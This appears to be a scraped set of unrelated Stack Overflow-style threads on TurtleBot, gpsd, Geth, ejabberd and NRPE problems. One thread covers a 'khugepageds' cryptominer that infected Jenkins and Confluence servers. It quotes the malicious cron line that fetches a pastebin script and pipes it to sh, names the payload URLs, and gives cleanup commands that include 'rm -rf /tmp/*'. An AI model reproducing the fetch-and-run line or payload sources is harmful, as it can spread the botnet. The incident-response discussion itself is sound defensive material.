I have worked with the turtlebot without issues, but at one seemingly random point I could not run the bringup of the turtlebot
roslaunch turtlebot3_bringup turtlebot3_robot.launch
It stops at the following:
... logging to /home/ubuntu/.ros/log/86af288a-bf01-11eb-b39e-48b02d2b81aa/roslaunch-ubuntu-2658.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://my_TURTLEBOT_IP:35829/
SUMMARY
========
PARAMETERS
* /rosdistro: melodic
* /rosversion: 1.14.11
* /turtlebot3_core/baud: 115200
* /turtlebot3_core/port: /dev/ttyACM0
* /turtlebot3_core/tf_prefix:
* /turtlebot3_lds/frame_id: base_scan
* /turtlebot3_lds/port: /dev/ttyUSB0
NODES
/
turtlebot3_core (rosserial_python/serial_node.py)
turtlebot3_diagnostics (turtlebot3_bringup/turtlebot3_diagnostics)
turtlebot3_lds (hls_lfcd_lds_driver/hlds_laser_publisher)
ROS_MASTER_URI=http://my_HOST_IP:11311
process[turtlebot3_core-1]: started with pid [2667]
process[turtlebot3_lds-2]: started with pid [2668]
process[turtlebot3_diagnostics-3]: started with pid [2669]
[INFO] [1622135149.303476, 0.000000]: ROS Serial Python Node
[INFO] [1622135149.398551, 0.000000]: Connecting to /dev/ttyACM0 at 115200 baud
Other post mentioned it was a battery issue. I charged my turtlebot3 up to full. Then the next bringup worked. But after that one bringup, it had the same error again, even after again charging those few percentages.
I have tried doing an apt-get update and upgrade -> still the same issue.
What could it be? All the sudden stopped working..
Rerunning the command rosrun turtlebot3_bringup create_udev_rules helps. Although it sometimes also doesn't.
I ran this command on the one day, it worked. The day after: it didn't. Two days after that (today) it did work again.
You can give it a try.
Update: Not for long.. after the third bringup it again doesn't work..
Related
I should make some tests with a GPS module using gpsd. I tried to manipulate the position data to a reference point and it works like I expected. Now, the next step will be to verify the maximum "bootup-time" of the gpsd.
For this I wait untill the (linux) system was booted completely (this will be signalized over a LED). After that I wait the accepted 15 seconds to initialize the daemon and everything what it needs. After that I want the check the status of the gpsd. (Has it booted completely?)
How can I verify that the gpsd is running? Is there any possibility to request the status of the daemon?
Has anyone an idea?
Thanks a lot!
You can connect to gpsd and retrieve sentences with gpspipe.
to get raw sentences: gpspipe -r
to get gpsd output: gpspipe -w
Also you can check your process to know gpsd is running or not:
ps aux | grep gpsd
So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.
I cant seem to get the latest version of Geth 1.8.3 working. It stops and never starts syncing.
I'm trying to get it on to the rinkeby.io testnet for smart contract testing.
I had success with 1.7.3 after downloading and using ADD to copy the files to the image. But I would like to automate the build, so that it can be used in Google cloud with a deployment.yml.
Currently I'm testing on my local machine since I know the firewall worked with 1.7.3. (no specific rules set)
The Dockerfile builds just fine and I can see that it shows up in the rinkeby.io node list, but even after 1 hour not a single block has been synced.
its stuck on: IPC endpoint opened
With 1.7.3 it took 10-15 seconds to start the sync.
Dockerfile
# ----- 1st stage build -----
FROM golang:1.9-alpine as builder
RUN apk add --no-cache make gcc musl-dev linux-headers git curl
WORKDIR /
RUN curl -o rinkeby.json https://www.rinkeby.io/rinkeby.json
RUN git clone https://github.com/ethereum/go-ethereum.git
RUN cd /go-ethereum && make geth
# ----- 2nd stage build -----
FROM alpine:latest
RUN apk add --no-cache ca-certificates
COPY --from=builder rinkeby.json $HOME/rinkeby.json
COPY --from=builder /go-ethereum/build/bin/geth /usr/local/bin/
VOLUME [ "/root/.rinkeby/geth/lightchaindata" ]
EXPOSE 8545 8546 30303 30304 30303/udp 30304/udp
RUN geth --datadir=$HOME/.rinkeby init rinkeby.json
CMD ["sh", "-c", "geth --networkid=4 --datadir=$HOME/.rinkeby --rpcaddr 0.0.0.0 --syncmode=fast --ethstats='Oxy:Respect my authoritah!#stats.rinkeby.io' --bootnodes=enode://a24ac7c5484ef4ed0c5eb2d36620ba4e4aa13b8c84684e1b4aab0cebea2ae45cb4d375b77eab56516d34bfbd3c1a833fc51296ff084b770b94fb9028c4d25ccf#52.169.42.101:30303?discport=30304"]
output when i run the docker image.
Console:
INFO [04-04|13:14:10] Maximum peer count ETH=25 LES=0 total=25
INFO [04-04|13:14:10] Starting peer-to-peer node instance=Geth/v1.8.4-unstable-6ab9f0a1/linux-amd64/go1.9.2
INFO [04-04|13:14:10] Allocated cache and file handles database=/root/.rinkeby/geth/chaindata cache=768 handles=1024
WARN [04-04|13:14:10] Upgrading database to use lookup entries
INFO [04-04|13:14:10] Database deduplication successful deduped=0
INFO [04-04|13:14:10] Initialised chain configuration config="{ChainID: 4 Homestead: 1 DAO: <nil> DAOSupport: false EIP150: 2 EIP155: 3 EIP158: 3 Byzantium: 1035301 Constantinople: <nil> Engine: clique}"
INFO [04-04|13:14:10] Initialising Ethereum protocol versions="[63 62]" network=4
INFO [04-04|13:14:10] Loaded most recent local header number=0 hash=6341fd…67e177 td=1
INFO [04-04|13:14:10] Loaded most recent local full block number=0 hash=6341fd…67e177 td=1
INFO [04-04|13:14:10] Loaded most recent local fast block number=0 hash=6341fd…67e177 td=1
INFO [04-04|13:14:10] Regenerated local transaction journal transactions=0 accounts=0
INFO [04-04|13:14:10] Starting P2P networking
INFO [04-04|13:14:12] UDP listener up self=enode://6d27f79b944aa75787213835ff512b03ec51434b2508a12735bb365210e57b0084795e5275150974cb976525811c65a49b756ac069ca78e4bd6929ea4d609b65#[::]:30303
INFO [04-04|13:14:12] Stats daemon started
INFO [04-04|13:14:12] RLPx listener up self=enode://6d27f79b944aa75787213835ff512b03ec51434b2508a12735bb365210e57b0084795e5275150974cb976525811c65a49b756ac069ca78e4bd6929ea4d609b65#[::]:30303
INFO [04-04|13:14:12] IPC endpoint opened url=/root/.rinkeby/geth.ipc
I did find out what was wrong after rebuilding the Dockerfile from scratch.
At the end of my CMD line there is this ending.
?discport=30304
By removing it, it works as intended.
This was a remnant from a different users code.
For me the problem is the fast sync still running for hours, takes forever and never stops on its own.
I ran this command :
**geth --rinkeby --syncmode "fast" --rpc --rpcapi db,eth,net,web3,personal --cache=1024 --rpcport 8545 --rpcaddr 127.0.0.1 --rpccorsdomain "*" **
consuming storage as it´s still running(over 5GB), sometimes I got an error : No space left on device, I deleted everything and then start over.
I run eth.syncing , here´s what I got:
https://imgur.com/a/fj2fvpy ( after 3 hours of sync )
https://imgur.com/a/SqrnW8x ( 30 min after the first eth.syning check )
I tried 100 * eth.syncing.currentBlock / eth.syncing.highestBlock and I got 99.9969.... and then it keeps slowing down and decreasing and never reached 99.9970.
I am running Geth/v1.8.4-stable-2423ae01/linux-amd64/go1.10 on Ubuntu 16.04LTS
After going round and round, I discovered that using the '--bootnodes' flag is the simplest way to get your private peers to recognize each other across a network:
Geth.exe --bootnodes "enode://A#B:30303" --datadir="C:\Ledger"--nat=extip:192.168.0.9 ...
When spinning up your IPC pipe, specify a node that is likely to always be up (likely your first init'd node). You also need to be very explicit about IP addresses using the '--nat' flag. In the above example A is the IP address of the node that will be used to auto-detect all other nodes, and build peer connections.
I dervied this approach using information found in this link on the Geth Github site.
I have googled for three hours but to no avail.
I have an ejabberd installation which is not installed using apt. It is installed from source and there is no program called ejabberd in it. Start and Stop and everything is through ejabberdctl.
It was running perfectly for a month and all of a sudden one day it stopped with the infamous
kernel pid terminated error
Anytime i do
sudo ejabberdctl start --node ejabberd#MasterService
A erl_crash file gets generated and when i try
ejabberdctl
i get
Failed to connect to RPC at node ejabberd#MasterService
Now what have i tried
Tried killing all running process of ejabberd, beam, epmd and starting fresh - DID NOT WORK
Checked /etc/hosts and hostname and all is well. Hostname is provided in hosts file with the IP
Checked the ejabberdctl.conf file to ensure teh host name is indeed right and the node name is right
checked .erlange.cookie file is being created with content in it
In all of web one way or another the search led me to either one of the above.
I have nowhere else to go and dont know where else to look. Any help would be much appreciated.
You'll have to analyze the crash dump to try to guess why it failed.
To carry out this task, Erlang has a special webtool (called, uh, webtool) from which a special application — Crash Dump Viewer — might be used to load a dump and inspect the stack traces of the Erlang processes at the time of the crash.
You have to
Install the necessary packages:
# apt-get install erlang-webtool erlang-observer
Start an Erlang interpreter:
$ erl
(Further actions are taken there.)
Run the webtool. In a simplest case, it will listen on the local host:
webtool:start().
(Notice the period.) It will print back an URL to navigate in your browser to reach the running tool.
If this happens on a server, and you'd rather like to have the webtool listen on some non-local-host interface, the call encantation would be trickier:
webtool:start(standard_path, [{port, 8888}, {bind_address, {0, 0, 0, 0}}, {server_name, "server.example.com"}]).
The {0, 0, 0, 0} IP spec will make it listen everywhere, and you might as well specify some more sensible octets, like {192, 168, 0, 1}. The server_name clause might use arbitrary name — this is what will be printed in the generated URL, the server's hostname.
Now connect to the tool with your browser, navigate to the "Start tools" menu entry, start crash dump viewer and make a link to it appear in the tool's top menu. Proceed there and find a link to load the crash dump.
After loading a crash dump try to mess around with the tool's interface to look at the stack traces of the active Erlang processes. At least one of them should contain something fishy, which should include an error message — that's what you're looking after to refine your question (or ask another at the ejabberd mailing list).
To quit the tool, run
webtool:stop().
in the running Erlang interpreter. And then quit it either by running
q().
and waiting a bit or pressing Ctrl-g and then entering the letter q followed by pressing the Return key.
The relevant links are: the crash dump viewer manual and the webtool manual.
I'm using Icinga to monitor some servers and services. Most of them run fine. But now I like to monitor a JBoss-AS on one server via NRPE. Therefore I'm using the check_jboss-Plugin from MonitoringExchange. Although each time I try running a test-command from my Icinga-Server via NRPE I'm getting a NRPE: unable to read output error. When I try executing the command directly on the monitored server it runs fine. It's strange that the execution on the monitored server takes around 5 seconds to return a acceptable result but the NRPE-Exceution returns immediately the error. Trying to set up the NRPE-timeout didn't solve the problem. I also checked the permissions of the check_jboss-plugin and set them to "777" so that there should be no error.
I don't think that there's a common issue with NRPE, because there are also some other checks (e.g. check_load, check_disk, ...) via NRPE and they are all running fine. The permissions of these plugins are analog to my check_jboss-Plugin.
Following one sample exceuction on the monitored server which runs fine:
/usr/lib64/nagios/plugins/check_jboss.pl -T ServerInfo -J jboss.system -a MaxMemory -w 3000: -c 2000: -f
JBOSS OK - MaxMemory is 4049076224 | MaxMemory=4049076224
Here are two command-executions via NRPE from my Icinga-Server. Both commands are correctly
./check_nrpe -H xxx.xxx.xxx.xxx -c check_hda1
DISK OK - free space: / 47452 MB (76% inode=97%);| /=14505MB;52218;58745;0;65273
./check_nrpe -H xxx.xxx.xxx.xxx -c jboss_MaxMemory
NRPE: Unable to read output
Does anyone have a hint for me? If further config-information needed please ask :)
Try to rule out SELinux either by disabling it globally or by changing the SELinux type to nagios_unconfined_plugin_exec_t.